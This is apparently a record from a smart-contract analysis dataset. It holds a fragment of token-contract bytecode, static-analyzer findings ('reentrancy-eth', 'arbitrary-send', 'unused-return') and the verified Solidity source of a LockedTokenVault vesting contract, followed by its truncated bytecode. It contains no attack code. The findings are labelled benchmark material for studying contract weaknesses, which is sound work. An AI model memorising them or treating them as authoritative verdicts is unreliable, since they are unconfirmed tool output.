2eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6005600a81905550600a600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b6014426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576005600a81905550600a600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208448df7b7252dd128b5ec105a9acc5e6ab6a83dc0dd357a733fbc64e406428c264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,981 |
0x4fcee2c4baa7838bc6f0308854b622a63d46858c
|
/**
*Submitted for verification at Etherscan.io on 2021-04-06
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library DecimalMath {
using SafeMath for uint256;
uint256 constant ONE = 10**18;
function mul(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / ONE;
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(ONE);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).divCeil(d);
}
}
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract LockedTokenVault is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address _TOKEN_;
mapping(address => uint256) internal originBalances;
mapping(address => uint256) internal claimedBalances;
mapping(address => uint256) internal startReleaseTime;
mapping(address => uint256) internal releaseDuration;
uint256 public _UNDISTRIBUTED_AMOUNT_;
// ============ Events ============
event Claim(address indexed holder, uint256 origin, uint256 claimed, uint256 amount);
// ============ Init Functions ============
constructor(
address _token
) public {
_TOKEN_ = _token;
}
function deposit(uint256 amount) external onlyOwner {
_tokenTransferIn(_OWNER_, amount);
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(amount);
}
function withdraw(uint256 amount) external onlyOwner {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
_tokenTransferOut(_OWNER_, amount);
}
// ============ For Owner ============
function grant(address[] calldata holderList, uint256[] calldata amountList, uint256[] calldata startList, uint256[] calldata durationList)
external
onlyOwner
{
require(holderList.length == amountList.length, "batch grant length not match");
require(holderList.length == startList.length, "batch grant length not match");
require(holderList.length == durationList.length, "batch grant length not match");
uint256 amount = 0;
for (uint256 i = 0; i < holderList.length; ++i) {
originBalances[holderList[i]] = originBalances[holderList[i]].add(amountList[i]);
startReleaseTime[holderList[i]] = startList[i];
releaseDuration[holderList[i]] = durationList[i];
amount = amount.add(amountList[i]);
}
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
}
function recall(address holder) external onlyOwner {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(originBalances[holder]).sub(
claimedBalances[holder]
);
originBalances[holder] = 0;
claimedBalances[holder] = 0;
startReleaseTime[holder] = 0;
releaseDuration[holder] = 0;
}
// ============ For Holder ============
function claim() external {
uint256 claimableToken = getClaimableBalance(msg.sender);
_tokenTransferOut(msg.sender, claimableToken);
claimedBalances[msg.sender] = claimedBalances[msg.sender].add(claimableToken);
emit Claim(
msg.sender,
originBalances[msg.sender],
claimedBalances[msg.sender],
claimableToken
);
}
// ============ View ============
function isReleaseStart(address holder) external view returns (bool) {
return block.timestamp >= startReleaseTime[holder];
}
function getStartReleaseTime(address holder) external view returns (uint256) {
return startReleaseTime[holder];
}
function getReleaseDuration(address holder) external view returns (uint256) {
return releaseDuration[holder];
}
function getOriginBalance(address holder) external view returns (uint256) {
return originBalances[holder];
}
function getClaimedBalance(address holder) external view returns (uint256) {
return claimedBalances[holder];
}
function getClaimableBalance(address holder) public view returns (uint256) {
uint256 remainingToken = getRemainingBalance(holder);
return originBalances[holder].sub(remainingToken).sub(claimedBalances[holder]);
}
function getRemainingBalance(address holder) public view returns (uint256) {
uint256 remainingRatio = getRemainingRatio(block.timestamp, holder);
return DecimalMath.mul(originBalances[holder], remainingRatio);
}
function getRemainingRatio(uint256 timestamp, address holder) public view returns (uint256) {
if (timestamp < startReleaseTime[holder]) {
return DecimalMath.ONE;
}
uint256 timePast = timestamp.sub(startReleaseTime[holder]);
if (timePast < releaseDuration[holder]) {
uint256 remainingTime = releaseDuration[holder].sub(timePast);
return DecimalMath.ONE.mul(remainingTime).div(releaseDuration[holder]);
} else {
return 0;
}
}
// ============ Internal Helper ============
function _tokenTransferIn(address from, uint256 amount) internal {
IERC20(_TOKEN_).safeTransferFrom(from, address(this), amount);
}
function _tokenTransferOut(address to, uint256 amount) internal {
IERC20(_TOKEN_).safeTransfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101155760003560e01c80637dbf2f95116100a2578063c11cf42a11610071578063c11cf42a146102cc578063ca430519146102fc578063cf0e80fe14610318578063d182849614610348578063f2fde38b1461037857610115565b80637dbf2f95146102465780638456db1514610276578063a8d14d5e14610294578063b6b55f25146102b057610115565b80632e1a7d4d116100e95780632e1a7d4d146101b65780634e71d92d146101d25780634e71e0c8146101dc57806355e0d1b9146101e65780637137bc5e1461021657610115565b80621bf8f61461011a57806306def8021461014a57806316048bc41461017a57806324b3274114610198575b600080fd5b610134600480360381019061012f9190611a28565b610394565b60405161014191906120a5565b60405180910390f35b610164600480360381019061015f9190611a28565b6103f4565b60405161017191906120a5565b60405180910390f35b6101826104ad565b60405161018f9190611ecf565b60405180910390f35b6101a06104d2565b6040516101ad91906120a5565b60405180910390f35b6101d060048036038101906101cb9190611b4f565b6104d8565b005b6101da6105b0565b005b6101e461072f565b005b61020060048036038101906101fb9190611a28565b610902565b60405161020d9190611f4a565b60405180910390f35b610230600480360381019061022b9190611a28565b61094e565b60405161023d91906120a5565b60405180910390f35b610260600480360381019061025b9190611a28565b610997565b60405161026d91906120a5565b60405180910390f35b61027e6109e0565b60405161028b9190611ecf565b60405180910390f35b6102ae60048036038101906102a99190611a51565b610a06565b005b6102ca60048036038101906102c59190611b4f565b610daf565b005b6102e660048036038101906102e19190611b78565b610e87565b6040516102f391906120a5565b60405180910390f35b61031660048036038101906103119190611a28565b611054565b005b610332600480360381019061032d9190611a28565b6112a5565b60405161033f91906120a5565b60405180910390f35b610362600480360381019061035d9190611a28565b6112ee565b60405161036f91906120a5565b60405180910390f35b610392600480360381019061038d9190611a28565b611337565b005b6000806103a14284610e87565b90506103ec600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826114f5565b915050919050565b60008061040083610394565b90506104a5600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461049783600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152390919063ffffffff16565b61152390919063ffffffff16565b915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055e90612005565b60405180910390fd5b61057c8160075461152390919063ffffffff16565b6007819055506105ad6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611573565b50565b60006105bb336103f4565b90506105c73382611573565b61061981600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f45c072aa05b9853b5a993de7a28bc332ee01404a628cec1a23ce0f659f842ef1600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484604051610724939291906120c0565b60405180910390a250565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690611f65565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffff